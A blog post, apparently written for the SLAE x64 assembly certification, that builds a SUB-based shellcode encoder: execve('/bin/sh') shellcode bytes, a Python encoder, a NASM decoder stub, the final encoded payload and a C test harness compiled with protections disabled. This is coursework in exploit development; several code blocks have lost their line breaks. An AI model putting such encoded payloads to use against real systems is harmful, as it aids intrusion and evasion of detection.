x64 SLAE — Assignment 4: Custom Encoder

Adam
3 min readDec 1, 2019

--

The fourth assignment for the x64 SLAE exam requires the creation of a custom encoder and decoder that can be used on arbitrary shellcode. For the purposes of this exam, a SUB encoder and decoder will be created.

Setup

To ensure that the custom encoder works, the following execve(“/bin/sh”) shellcode will be leveraged. The shellcode has been tested before and it works.

\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05

Running the shellcode in a harness program will result in the following:

Encoder

To assist with the custom encoder/decoder pairing, a Python script has been generated to easily create the encoded payload. Because a SUB encoder simply subtracts a certain value from each byte, the following script will look through each byte in the shellcode and do just that. In this case the SUB encoder key is 0xA. The script is as follows:

#!/usr/bin/python
import sys
key = 0x0Ashellcode = ("\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05")encoded = ""encoded2 = ""for x in bytearray(shellcode) :
y = (x - key)
encoded += '\\x%02x' % (y & 0xff)
encoded2 += '0x%02x,' % (y & 0xff)
encoded += '\\x%02x' % key
encoded2 += '0x%02x' % key
print "Encoded shellcode (len %d):" % len(bytearray(shellcode))print encodedprint "\nShellcode converted to ASM format (len %d):" % len(bytearray(shellcode))print encoded2

After executing the sub encoder the following encoded shellcode will be generated:

Encoded shellcode (len 32):
\x3e\x27\xb6\x46\x3e\xb1\x25\x58\x5f\x64\x25\x25\x69\x5e\x49\x3e\x7f\xdd\x46\x3e\x7f\xd8\x4d\x3e\x7f\xdc\x3e\x79\xb6\x31\x05\xfb\x0a
Shellcode converted to ASM format (len 32):
0x3e,0x27,0xb6,0x46,0x3e,0xb1,0x25,0x58,0x5f,0x64,0x25,0x25,0x69,0x5e,0x49,0x3e,0x7f,0xdd,0x46,0x3e,0x7f,0xd8,0x4d,0x3e,0x7f,0xdc,0x3e,0x79,0xb6,0x31,0x05,0xfb,0x0a

Decoder

With the encoded shellcode in hand, it can be passed to the decoder stub in order to decode in memory. The decoder stub walks through each of the bytes, adding our key each time, restoring each of the bytes back to their original value. Simply add the shellcode in ASM format to the bottom of the stub below, compile it, and it will be ready to go.

global _startsection .text_start:    jmp find_addressdecoder:
pop rdi
xor rcx, rcx
add cl, 60
decode:
add byte [rdi], 0xa
inc rdi
cmp byte [rdi], 0x0a
je encoded_shellcode
loop decode
jmp encoded_shellcodefind_address:
call decoder
encoded_shellcode: db 0x3e,0x27,0xb6,0x46,0x3e,0xb1,0x25,0x58,0x5f,0x64,0x25,0x25,0x69,0x5e,0x49,0x3e,0x7f,0xdd,0x46,0x3e,0x7f,0xd8,0x4d,0x3e,0x7f,0xdc,0x3e,0x79,0xb6,0x31,0x05,0xfb,0x0a

To obtain the final payload, perform the following:

nasm -f elf64 SUB_decoder_stub.nasmld SUB_decoder_stub.o -o SUB_decoder_stubfor i in $(objdump -D SUB_decoder_stub | grep "^ "|cut -f2); do echo -n '\\x'$i; done; echo

This will result in the following decoder stub with the encrypted payload:

\xeb\x16\x5f\x48\x31\xc9\x80\xc1\x3c\x80\x07\x0a\x48\xff\xc7\x80\x3f\x0a\x74\x09\xe2\xf3\xeb\x05\xe8\xe5\xff\xff\xff\x3e\x27\xb6\x46\x3e\xb1\x25\x58\x5f\x64\x25\x25\x69\x5e\x49\x3e\x7f\xdd\x46\x3e\x7f\xd8\x4d\x3e\x7f\xdc\x3e\x79\xb6\x31\x05\xfb\x0a

Results

Add the generated payload into a C harness like so:

#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\xeb\x16\x5f\x48\x31\xc9\x80\xc1\x3c\x80\x07\x0a\x48\xff\xc7\x80\x3f\x0a\x74\x09\xe2\xf3\xeb\x05\xe8\xe5\xff\xff\xff\x3e\x27\xb6\x46\x3e\xb1\x25\x58\x5f\x64\x25\x25\x69\x5e\x49\x3e\x7f\xdd\x46\x3e\x7f\xd8\x4d\x3e\x7f\xdc\x3e\x79\xb6\x31\x05\xfb\x0a";
int main()
{
int (*ret)() = (int(*)())code;
ret();
return 0;
}

Compile it:

gcc -fno-stack-protector -z execstack -o harness harness.c

And execute it:

This blog post has been created for completing the requirements of the x86_64 SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: PA-11200

The source code for this assignment can be found here.

--

--

Adam

Security consultant | Web, telecom, IoT security